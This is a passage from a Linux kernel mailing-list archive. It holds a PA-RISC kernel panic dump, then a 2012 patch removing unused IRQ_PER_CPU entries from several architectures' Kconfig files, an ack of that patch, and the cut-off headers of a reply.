r20-23  000000000217b000 000000007f5a23c0 000000007cc7b080 000000000800000e

IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000401277bc 00000000401277c0
r24-27  000000000800000e 000000007ee0b0b8 000000004281aba0 000000004064c520
r28-31  000000007f4d4000 000000007f4d41e0 000000007f4d4210 0000000000000001
sr00-03  0000000000831000 0000000000000000 0000000000000000 0000000000831000
 IIR: 03c008bc    ISR: 00000000406a0bc0  IOR: 0000000000000002
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000
sr00-03  0000000007e77000 0000000007e77000 0000000000000000 0000000007e77000

sr04-07  0000000007e77000 0000000007e77000 0000000007e77000 0000000007e77000
IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000401277c0 00000000401277c4
 CPU:        2   CR30: 000000007f4d8000 CR31: ffffffffffffffff

 ORIG_R28: 000000007f4d83f0
 IIR: 539c0020    ISR: 00000000406a0bc0  IOR: 0000000000000001
 IAOQ[0]: cpu_idle+0x7c/0xb0
      VZOUICununcqcqcqcqcqcrmunTDVZOUI
 IAOQ[1]: cpu_idle+0x80/0xb0
 CPU:        1   CR30: 000000007f4d4000 CR31: ffffffffffffffff
 RP(r2): cpu_idle+0x68/0xb0
FPSR: 00001000000000000000000000000000
 ORIG_R28: 000000007f4d43f0
FPER1: 00000000
 IAOQ[0]: cpu_idle+0x80/0xb0
Backtrace:
fr00-03  0800000000000000 0000000000000000 0000000000000000 0000000000000000
 [<00000000406736f4>] smp_callin+0x1a4/0x1c0
 IAOQ[1]: cpu_idle+0x84/0xb0

fr04-07  000000004064c520 0000000000000000 0000000040540000 4090000000000000
 RP(r2): cpu_idle+0x68/0xb0
fr08-11  0000000040145b10 0000000000000001 00000000405e39b8 000000004065ad20
Backtrace:
fr12-15  0000000000000001 0000000000000006 00000000405e4690 0000000042811bc0
timer_interrupt(CPU 2): delayed! cycles DFC46740F rem A03B2  next/now 16FCCB5EEBFF/16FCCB54E84D
fr16-19  000000007f47b038 0000000000000000 0000000000000000 000000000800000f
 [<00000000406736f4>] smp_callin+0x1a4/0x1c0
fr20-23  0000000000000000 00000000405e39ba 0000000000000054 49ef4e8000400000

fr24-27  4a80000000000000 0000000000000006 000000004054e174 0000000000000001
fr28-31  00000000405e39b8 000000004064c520 0000000000000028 0000000000000000

IASQ: 0000000007e77000 0000000007e77000 IAOQ: 0000000004017df3 0000000004017df7
 IIR: 0e7c2093    ISR: 0000000007e77000  IOR: 0000000040483000
 CPU:        3   CR30: 0000000044458000 CR31: ffffffffffffffff
 ORIG_R28: 0000000000000000
 IAOQ[0]: 0000000004017df3
 IAOQ[1]: 0000000004017df7
timer_interrupt(CPU 1): delayed! cycles DFC5623DE rem 2B27FE  next/now 16FCCB80B46A/16FCCB558C6C
 RP(r2): 0000000004017f97
timer_interrupt(CPU 3): delayed! cycles DF942EF19 rem 46F8  next/now 16FCCB561D0C/16FCCB55D614
Backtrace:
 [<0000000040128f14>] ipi_interrupt+0x184/0x200
 [<000000004019f734>] handle_irq_event_percpu+0xb4/0x308
 [<00000000401a3f48>] handle_percpu_irq+0xa0/0xd8
 [<000000004019ebb8>] generic_handle_irq+0x40/0x50
 [<00000000401205a4>] do_cpu_irq_mask+0x1ac/0x298
 [<0000000040105074>] intr_return+0x0/0x4


Kernel Fault: Code=26 regs=000000007d079130 (Addr=400000000000002f)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001000000000000001110 Not tainted
r00-03  000000000804000e 000000000804000e 0000000040128f14 7fffffffffffffff
r04-07  000000004064c520 0000000000000001 0000000000000000 000000007d079100
r08-11  0000000000000004 000000004066ad20 0000000000200200 00000000405141d0
r12-15  fffffffffffffffb 000000004065c520 00000000405141c0 0000000000000002
r16-19  0000000000000006 000000004062e820 0000000040597f00 0000000000000002
r20-23  000000000800000e 0000000000000009 000000000800000e 0000000000000000
r24-27  0000000000000001 0000000000000000 0000000000000000 000000004064c520
r28-31  7fffffffffffffff 0000000000000000 000000007d079130 0000000000000002
sr00-03  0000000000705800 0000000000000000 0000000000000000 0000000000705800
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040193b48 0000000040193b4c
 IIR: 0c7020dc    ISR: 0000000000000000  IOR: 400000000000002f
 CPU:        2   CR30: 000000007d078000 CR31: ffffffffffffffff
 ORIG_R28: 0000000000000000
 IAOQ[0]: generic_smp_call_function_interrupt+0xf0/0x2e0
 IAOQ[1]: generic_smp_call_function_interrupt+0xf4/0x2e0
 RP(r2): ipi_interrupt+0x184/0x200
Backtrace:
 [<0000000040128f14>] ipi_interrupt+0x184/0x200
 [<000000004019f734>] handle_irq_event_percpu+0xb4/0x308
 [<00000000401a3f48>] handle_percpu_irq+0xa0/0xd8
 [<000000004019ebb8>] generic_handle_irq+0x40/0x50
 [<00000000401205a4>] do_cpu_irq_mask+0x1ac/0x298
 [<0000000040105074>] intr_return+0x0/0x4

Kernel panic - not syncing: Kernel Fault
break 0,0: pid=2893 command='nscd'

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001000000000000001110 Not tainted
r00-03  000000000804000e 0000000040000000 400000000000002f 0000000040540000
r04-07  000000004064c520 000000000800000e 0000000000000000 000000000000001a
r08-11  400000000000002f 000000004066ad20 0000000000200200 00000000405141d0
r12-15  fffffffffffffffb 000000004065c520 00000000405141c0 0000000000000002
r16-19  000000007d079130 000000004062e820 0000000040597f00 00000000000001ff
r20-23  000000000000ea60 0000000000000500 0000000000000001 00000000044598f8
r24-27  0000000000000000 00000000000003e8 000000007d079618 000000004064c520
r28-31  ffffffffffffffff 00000000005c1888 000000007d0797a0 0000000000401822
sr00-03  0000000000705800 0000000000000000 0000000000000000 0000000000705800
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 000000004012828c 4000000000000033
 IIR: fffffff0f0ffffa4    ISR: 0000000000000041  IOR: 0000000000000000
 CPU:        2   CR30: 000000007d078000 CR31: ffffffffffffffff
 ORIG_R28: ffffffffffffffff
 IAOQ[0]: pdc_chassis_send_status+0x8c/0xf0
 IAOQ[1]: 0x4000000000000033
 RP(r2): 0x400000000000002f
Backtrace:
 [<00000000402b8078>] vsnprintf+0x198/0x4d0

      _______________________________ 
     < Your System ate a SPARC! Gah! >
      ------------------------------- 
             \   ^__^
                 (__)\       )\/\
                  U  ||----w |
                     ||     ||
nscd (pid 2893): Illegal instruction (code 8)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001000000000000001110 Not tainted
r00-03  000000000804000e 0000000040000000 00000000402b8078 0000000040540000
r04-07  000000004064c520 000000000800000e 0000000000000000 000000000000001a
r08-11  400000000000002f 000000004066ad20 0000000000200200 00000000405141d0
r12-15  fffffffffffffffb 000000004065c520 00000000405141c0 0000000000000002
r16-19  000000007d079130 000000004062e820 0000000040597f00 00000000000001ff
r20-23  000000000000ea60 0000000000000500 0000000000000001 00000000044598f8
r24-27  0000000000000000 00000000000003e8 000000007d079618 000000004064c520
r28-31  ffffffffffffffff 00000000005c1888 000000007d079720 0000000000401822
sr00-03  0000000000705800 0000000000000000 0000000000000000 0000000000705800
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000402b8078 00000000402b807c
 IIR: 00000204    ISR: 0000000000705800  IOR: 0000000000000000
 CPU:        2   CR30: 000000007d078000 CR31: ffffffffffffffff
 ORIG_R28: a0e008c01100b009
 IAOQ[0]: vsnprintf+0x198/0x4d0
 IAOQ[1]: vsnprintf+0x19c/0x4d0
 RP(r2): vsnprintf+0x198/0x4d0
Backtrace:

Backtrace:
 [<000000004011e458>] dump_stack+0x18/0x28
 [<000000004011eacc>] die_if_kernel+0xfc/0x268
 [<000000004011f4e4>] handle_interruption+0x4b4/0x860
 [<00000000402b8078>] vsnprintf+0x198/0x4d0

      _______________________________ 
     < Your System ate a SPARC! Gah! >
      ------------------------------- 
             \   ^__^
                 (__)\       )\/\
                  U  ||----w |
                     ||     ||
nscd (pid 2893): Illegal instruction (code 8)
die_if_kernel() recursion detected.
timer_interrupt(CPU 0): delayed! cycles 16FCAF57713B rem B4695  next/now 16FCF1E47C50/16FCF1D935BB
BUG: soft lockup - CPU#0 stuck for 29423s! [swapper/0:0]
Modules linked in: nfsv3 nfsd exportfs nfs_acl nfs lockd sunrpc ipv6 ext2 ext3 mbcache jbd zalon7xx lasi700 53c700 hilkbd sd_mod crc_t10dif sg sr_mod cdrom sym53c8xx pata_cmd64x scsi_transport_spi libata tg3 scsi_mod

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001001111111100001111 Tainted: G      D     
r00-03  000000ff0804ff0f 0000000040669d20 0000000040105074 000000000800000e
r04-07  000000004064c520 0000000000000002 0000000000000fff 0000000040510930
r08-11  0000000040514080 000000000000000a 00000000405e46c0 0000000040669d20
r12-15  000000004066a520 0000000000000000 0000000000200000 000000004065b520
r16-19  0000000040510ca0 00000000ffffffff 00000000ffffffff 00000000405334f0
r20-23  0000000042810020 ffffffffffffffff ffe0000000000000 8000000000000000
r24-27  0000000000000001 0000000040518200 0000000042810ba0 000000004064c520
r28-31  0000000042811510 0000000040511180 0000000040510fe0 0000000002171000
sr00-03  0000000000683800 0000000000000000 0000000000000000 0000000000683800
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040105078 000000004010507c
 IIR: 03c008a1    ISR: 000000004064c520  IOR: 000000004064c520
 CPU:        0   CR30: 0000000040510000 CR31: e001013408940000
 ORIG_R28: 000000004064c520
 IAOQ[0]: intr_check_resched+0x0/0xc
 IAOQ[1]: intr_check_resched+0x4/0xc
 RP(r2): intr_return+0x0/0x4
Backtrace:
 [<000000004019f7a0>] handle_irq_event_percpu+0x120/0x308
 [<0000000040105074>] intr_return+0x0/0x4
 [<000000004018767c>] update_wall_time+0x79c/0x880
 [<000000004011ac54>] do_softirq+0x64/0x68
 [<00000000401277bc>] cpu_idle+0x7c/0xb0

timer_interrupt(CPU 0): delayed! cycles 16FCBF1A8A01 rem 1CF290  next/now 16FCFF88BE51/16FCFF6BCBC1
Backtrace:
 [<0000000040128f14>] ipi_interrupt+0x184/0x200
 [<000000004019f734>] handle_irq_event_percpu+0xb4/0x308
 [<00000000401a3f48>] handle_percpu_irq+0xa0/0xd8
 [<000000004019ebb8>] generic_handle_irq+0x40/0x50
 [<00000000401205a4>] do_cpu_irq_mask+0x1ac/0x298
 [<0000000040105074>] intr_return+0x0/0x4
 [<000000004019f7a0>] handle_irq_event_percpu+0x120/0x308
 [<0000000040105074>] intr_return+0x0/0x4
 [<000000004019f7a0>] handle_irq_event_percpu+0x120/0x308
 [<0000000040105074>] intr_return+0x0/0x4
 [<000000004019f7a0>] handle_irq_event_percpu+0x120/0x308
 [<0000000040105074>] intr_return+0x0/0x4
 [<000000004019f7a0>] handle_irq_event_percpu+0x120/0x308
 [<0000000040105074>] intr_return+0x0/0x4
 [<000000004018767c>] update_wall_time+0x79c/0x880
 [<000000004011ac54>] do_softirq+0x64/0x68


Kernel Fault: Code=26 regs=0000000040511e40 (Addr=800000000000002f)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001000000000000001110 Tainted: G      D     
r00-03  000000000804000e 000000000804000e 0000000040128f14 bfffffffffffffff
r04-07  000000004064c520 0000000000000001 0000000000000000 0000000040511e10
r08-11  0000000000000001 000000004066ad20 0000000000200200 00000000405141d0
r12-15  fffffffffffffffe 000000004065c520 00000000405141c0 0000000000000000
r16-19  0000000000000006 000000004062e820 0000000040597f00 0000000000000000
r20-23  000000000800000e 0000000000000000 000000000800000e 0000000000000000
r24-27  0000000000000001 0000000000000000 000000004281c480 000000004064c520
r28-31  bfffffffffffffff 0000000040511e10 0000000040511e40 0000000042810020
sr00-03  0000000000683800 0000000000000000 0000000000000000 0000000000683800
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040193b48 0000000040193b4c
 IIR: 0c7020dc    ISR: 0000000000000000  IOR: 800000000000002f
 CPU:        0   CR30: 0000000040510000 CR31: e001013408940000
 ORIG_R28: 0000000000000000
 IAOQ[0]: generic_smp_call_function_interrupt+0xf0/0x2e0
 IAOQ[1]: generic_smp_call_function_interrupt+0xf4/0x2e0
 RP(r2): ipi_interrupt+0x184/0x200
Backtrace:
 [<0000000040128f14>] ipi_interrupt+0x184/0x200
 [<000000004019f734>] handle_irq_event_percpu+0xb4/0x308
 [<00000000401a3f48>] handle_percpu_irq+0xa0/0xd8
 [<000000004019ebb8>] generic_handle_irq+0x40/0x50
 [<00000000401205a4>] do_cpu_irq_mask+0x1ac/0x298
 [<0000000040105074>] intr_return+0x0/0x4
 [<000000004019f7a0>] handle_irq_event_percpu+0x120/0x308
 [<0000000040105074>] intr_return+0x0/0x4
 [<000000004019f7a0>] handle_irq_event_percpu+0x120/0x308
 [<0000000040105074>] intr_return+0x0/0x4
 [<000000004019f7a0>] handle_irq_event_percpu+0x120/0x308
 [<0000000040105074>] intr_return+0x0/0x4
 [<000000004019f7a0>] handle_irq_event_percpu+0x120/0x308
 [<0000000040105074>] intr_return+0x0/0x4
 [<000000004018767c>] update_wall_time+0x79c/0x880
 [<000000004011ac54>] do_softirq+0x64/0x68


--Apple-Mail-2-683259835--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Hogan <james.hogan@imgtec.com>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.kernel,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.hexagon,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: [PATCH 1/1] arch Kconfig: remove references to IRQ_PER_CPU
Date: Tue, 13 Nov 2012 11:59:08 +0000
Lines: 134
Approved: news@gmane.org
Message-ID: <1352807948-26920-1-git-send-email-james.hogan@imgtec.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1352808085 17794 80.91.229.3 (13 Nov 2012 12:01:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 13 Nov 2012 12:01:25 +0000 (UTC)
Cc: <uclinux-dist-devel@blackfin.uclinux.org>,
	<linux-hexagon@vger.kernel.org>, <linux-ia64@vger.kernel.org>,
	<linux-mips@linux-mips.org>, <linux-parisc@vger.kernel.org>,
	<linuxppc-dev@lists.ozlabs.org>, <linux-sh@vger.kernel.org>,
	<linux-arch@vger.kernel.org>, James Hogan <james.hogan@imgtec.com>,
	Thomas Gleixner <tglx@linutronix.de>,
	Mike Frysinger <vapier@gentoo.org>,
	Richard Kuo <rkuo@codeaurora.org>,
	Tony Luck <tony.luck@intel.com>,
	Fenghua Yu <fenghua.yu@intel.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>,
	Paul Mundt <lethal@linux-sh.org>
To: <linux-kernel@vger.kernel.org>
Original-X-From: linux-ia64-owner@vger.kernel.org Tue Nov 13 13:01:32 2012
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1TYFBL-00040d-AP
	for glpi-linux-ia64-2@plane.gmane.org; Tue, 13 Nov 2012 13:01:31 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752030Ab2KMMBV (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
	Tue, 13 Nov 2012 07:01:21 -0500
Original-Received: from multi.imgtec.com ([194.200.65.239]:56906 "EHLO multi.imgtec.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751628Ab2KMMBU (ORCPT <rfc822;linux-ia64@vger.kernel.org>);
	Tue, 13 Nov 2012 07:01:20 -0500
X-Mailer: git-send-email 1.7.7.6
X-OriginalArrivalTime: 13 Nov 2012 11:59:42.0684 (UTC) FILETIME=[5DD0E9C0:01CDC196]
X-SEF-Processed: 7_3_0_01181__2012_11_13_12_01_04
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:22706 gmane.linux.kernel:1392799 gmane.linux.hardware.blackfin.kernel.devel:6769 gmane.linux.ports.hexagon:479 gmane.linux.ports.mips.general:36091 gmane.linux.ports.parisc:4670 gmane.linux.ports.ppc64.devel:86110 gmane.linux.ports.sh.devel:17528 gmane.linux.kernel.cross-arch:15843
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/22706>

The IRQ_PER_CPU Kconfig symbol was removed in the following commit:

Commit 6a58fb3bad099076f36f0f30f44507bc3275cdb6 ("genirq: Remove
CONFIG_IRQ_PER_CPU") merged in v2.6.39-rc1.

But IRQ_PER_CPU wasn't removed from any of the architecture Kconfig
files where it was defined or selected. It's completely unused so remove
the remaining references.

Signed-off-by: James Hogan <james.hogan@imgtec.com>
Cc: Thomas Gleixner <tglx@linutronix.de>
Cc: Mike Frysinger <vapier@gentoo.org>
Cc: Richard Kuo <rkuo@codeaurora.org>
Cc: Tony Luck <tony.luck@intel.com>
Cc: Fenghua Yu <fenghua.yu@intel.com>
Cc: Ralf Baechle <ralf@linux-mips.org>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: Benjamin Herrenschmidt <benh@kernel.crashing.org>
Cc: Paul Mackerras <paulus@samba.org>
Cc: Paul Mundt <lethal@linux-sh.org>
---
Based on v3.7-rc5.

Compile tested defconfigs for bfin, ia64, mips, parisc, powerpc, sh, but
not hexagon.

Grepped entire tree to check no references to CONFIG_IRQ_PER_CPU, and
grepped arch/ for Kconfig files referencing IRQ_PER_CPU.

 arch/blackfin/Kconfig |    1 -
 arch/hexagon/Kconfig  |    1 -
 arch/ia64/Kconfig     |    1 -
 arch/mips/Kconfig     |    1 -
 arch/parisc/Kconfig   |    1 -
 arch/powerpc/Kconfig  |    1 -
 arch/sh/Kconfig       |    3 ---
 7 files changed, 0 insertions(+), 9 deletions(-)

diff --git a/arch/blackfin/Kconfig b/arch/blackfin/Kconfig
index b6f3ad5..c709715 100644
--- a/arch/blackfin/Kconfig
+++ b/arch/blackfin/Kconfig
@@ -38,7 +38,6 @@ config BLACKFIN
 	select HAVE_GENERIC_HARDIRQS
 	select GENERIC_ATOMIC64
 	select GENERIC_IRQ_PROBE
-	select IRQ_PER_CPU if SMP
 	select USE_GENERIC_SMP_HELPERS if SMP
 	select HAVE_NMI_WATCHDOG if NMI_WATCHDOG
 	select GENERIC_SMP_IDLE_THREAD
diff --git a/arch/hexagon/Kconfig b/arch/hexagon/Kconfig
index 0744f7d..800dd9c 100644
--- a/arch/hexagon/Kconfig
+++ b/arch/hexagon/Kconfig
@@ -12,7 +12,6 @@ config HEXAGON
 	# select ARCH_WANT_OPTIONAL_GPIOLIB
 	# select ARCH_REQUIRE_GPIOLIB
 	# select HAVE_CLK
-	# select IRQ_PER_CPU
 	# select GENERIC_PENDING_IRQ if SMP
 	select HAVE_IRQ_WORK
 	select GENERIC_ATOMIC64
diff --git a/arch/ia64/Kconfig b/arch/ia64/Kconfig
index 3279646..00c2e88 100644
--- a/arch/ia64/Kconfig
+++ b/arch/ia64/Kconfig
@@ -29,7 +29,6 @@ config IA64
 	select ARCH_DISCARD_MEMBLOCK
 	select GENERIC_IRQ_PROBE
 	select GENERIC_PENDING_IRQ if SMP
-	select IRQ_PER_CPU
 	select GENERIC_IRQ_SHOW
 	select ARCH_WANT_OPTIONAL_GPIOLIB
 	select ARCH_HAVE_NMI_SAFE_CMPXCHG
diff --git a/arch/mips/Kconfig b/arch/mips/Kconfig
index dba9390..d47de79 100644
--- a/arch/mips/Kconfig
+++ b/arch/mips/Kconfig
@@ -2197,7 +2197,6 @@ source "mm/Kconfig"
 config SMP
 	bool "Multi-Processing support"
 	depends on SYS_SUPPORTS_SMP
-	select IRQ_PER_CPU
 	select USE_GENERIC_SMP_HELPERS
 	help
 	  This enables support for systems with more than one CPU. If you have
diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index 11def45..6d37987 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -16,7 +16,6 @@ config PARISC
 	select BROKEN_RODATA
 	select GENERIC_IRQ_PROBE
 	select GENERIC_PCI_IOMAP
-	select IRQ_PER_CPU
 	select ARCH_HAVE_NMI_SAFE_CMPXCHG
 	select GENERIC_SMP_IDLE_THREAD
 	select GENERIC_STRNCPY_FROM_USER
diff --git a/arch/powerpc/Kconfig b/arch/powerpc/Kconfig
index a902a5c..721dd7b 100644
--- a/arch/powerpc/Kconfig
+++ b/arch/powerpc/Kconfig
@@ -125,7 +125,6 @@ config PPC
 	select HAVE_GENERIC_HARDIRQS
 	select ARCH_WANT_IPC_PARSE_VERSION
 	select SPARSE_IRQ
-	select IRQ_PER_CPU
 	select IRQ_DOMAIN
 	select GENERIC_IRQ_SHOW
 	select GENERIC_IRQ_SHOW_LEVEL
diff --git a/arch/sh/Kconfig b/arch/sh/Kconfig
index babc2b8..6f799ec 100644
--- a/arch/sh/Kconfig
+++ b/arch/sh/Kconfig
@@ -91,9 +91,6 @@ config GENERIC_CSUM
 config GENERIC_HWEIGHT
 	def_bool y
 
-config IRQ_PER_CPU
-	def_bool y
-
 config GENERIC_GPIO
 	def_bool n
 
-- 
1.7.7.6


--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Luck, Tony" <tony.luck@intel.com>
Newsgroups: gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: RE: [PATCH 1/1] arch Kconfig: remove references to IRQ_PER_CPU
Date: Tue, 13 Nov 2012 21:28:11 +0000
Lines: 7
Approved: news@gmane.org
Message-ID: <3908561D78D1C84285E8C5FCA982C28F19D5F453@ORSMSX108.amr.corp.intel.com>
References: <1352807948-26920-1-git-send-email-james.hogan@imgtec.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1352842098 12440 80.91.229.3 (13 Nov 2012 21:28:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 13 Nov 2012 21:28:18 +0000 (UTC)
Cc: "uclinux-dist-devel@blackfin.uclinux.org" 
	<uclinux-dist-devel@blackfin.uclinux.org>,
	"linux-hexagon@vger.kernel.org" <linux-hexagon@vger.kernel.org>,
	"linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>,
	"linux-mips@linux-mips.org" <linux-mips@linux-mips.org>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	"linuxppc-dev@lists.ozlabs.org" <linuxppc-dev@lists.ozlabs.org>,
	"linux-sh@vger.kernel.org" <linux-sh@vger.kernel.org>,
	"linux-arch@vger.kernel.org" <linux-arch@vger.kernel.org>,
	Thomas Gleixner <tglx@linutronix.de>,
	Mike Frysinger <vapier@gentoo.org>,
	Richard Kuo <rkuo@codeaurora.org>,
	"Yu, Fenghua" <fenghua.yu@intel.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>,
	Paul Mundt <lethal@lin
To: James Hogan <james.hogan@imgtec.com>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>
Original-X-From: linux-hexagon-owner@vger.kernel.org Tue Nov 13 22:28:25 2012
Return-path: <linux-hexagon-owner@vger.kernel.org>
Envelope-to: glphk-linux-hexagon@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-hexagon-owner@vger.kernel.org>)
	id 1TYO1x-0007lV-37
	for glphk-linux-hexagon@plane.gmane.org; Tue, 13 Nov 2012 22:28:25 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751333Ab2KMV2O (ORCPT <rfc822;glphk-linux-hexagon@m.gmane.org>);
	Tue, 13 Nov 2012 16:28:14 -0500
Original-Received: from mga09.intel.com ([134.134.136.24]:61999 "EHLO mga09.intel.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750832Ab2KMV2N convert rfc822-to-8bit (ORCPT
	<rfc822;linux-hexagon@vger.kernel.org>);
	Tue, 13 Nov 2012 16:28:13 -0500
Original-Received: from orsmga002.jf.intel.com ([10.7.209.21])
  by orsmga102.jf.intel.com with ESMTP; 13 Nov 2012 13:27:36 -0800
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="4.83,768,1352102400"; 
   d="scan'208";a="241671630"
Original-Received: from orsmsx105.amr.corp.intel.com ([10.22.225.132])
  by orsmga002.jf.intel.com with ESMTP; 13 Nov 2012 13:28:12 -0800
Original-Received: from orsmsx152.amr.corp.intel.com (10.22.226.39) by
 ORSMSX105.amr.corp.intel.com (10.22.225.132) with Microsoft SMTP Server (TLS)
 id 14.1.355.2; Tue, 13 Nov 2012 13:28:11 -0800
Original-Received: from orsmsx108.amr.corp.intel.com ([169.254.9.119]) by
 ORSMSX152.amr.corp.intel.com ([169.254.8.48]) with mapi id 14.01.0355.002;
 Tue, 13 Nov 2012 13:28:11 -0800
Thread-Topic: [PATCH 1/1] arch Kconfig: remove references to IRQ_PER_CPU
Thread-Index: AQHNwZaYI0r8PGS1HEq9XKPGYxEB6JfoR+uQ
In-Reply-To: <1352807948-26920-1-git-send-email-james.hogan@imgtec.com>
Accept-Language: en-US
Content-Language: en-US
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
x-originating-ip: [10.22.254.138]
Original-Sender: linux-hexagon-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-hexagon.vger.kernel.org>
X-Mailing-List: linux-hexagon@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.hexagon:480 gmane.linux.kernel:1393184 gmane.linux.hardware.blackfin.kernel.devel:6770 gmane.linux.ports.ia64:22710 gmane.linux.ports.mips.general:36098 gmane.linux.ports.parisc:4671 gmane.linux.ports.ppc64.devel:86114 gmane.linux.ports.sh.devel:17530 gmane.linux.kernel.cross-arch:15852
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.hexagon/480>

> But IRQ_PER_CPU wasn't removed from any of the architecture Kconfig
> files where it was defined or selected. It's completely unused so remove
> the remaining references.

Acked-by: Tony Luck <tony.luck@intel.com>

[Hope someone picks up this whole patch ... otherwise I can take the ia64 hunk]

From - Thu Nov 08 21:08:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Kuo <rkuo@codeaurora.org>
Newsgroups: gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH 1/1] arch Kconfig: remove references to IRQ_PER_CPU
Date: Tue, 13 Nov 2012 18:53:41 -0600
Lines: 50
Approved: news@gmane.org
Message-ID: <20121114005341.GA6917@codeaurora.org>
References: <1352807948-26920-1-git-send-email-james.hogan@imgtec.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1352854438 14517 80.91.229.3 (14 Nov 2012 00:53:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 14 Nov 2012 00:53:58 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
	uclinux-dist-devel@blackfin.uclinux.org,
	linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
	linux-arch@vger.kernel.org, Thomas Gleixner <tglx@linutronix.de>,
	Mike Frysinger <vapier@gentoo.org>,
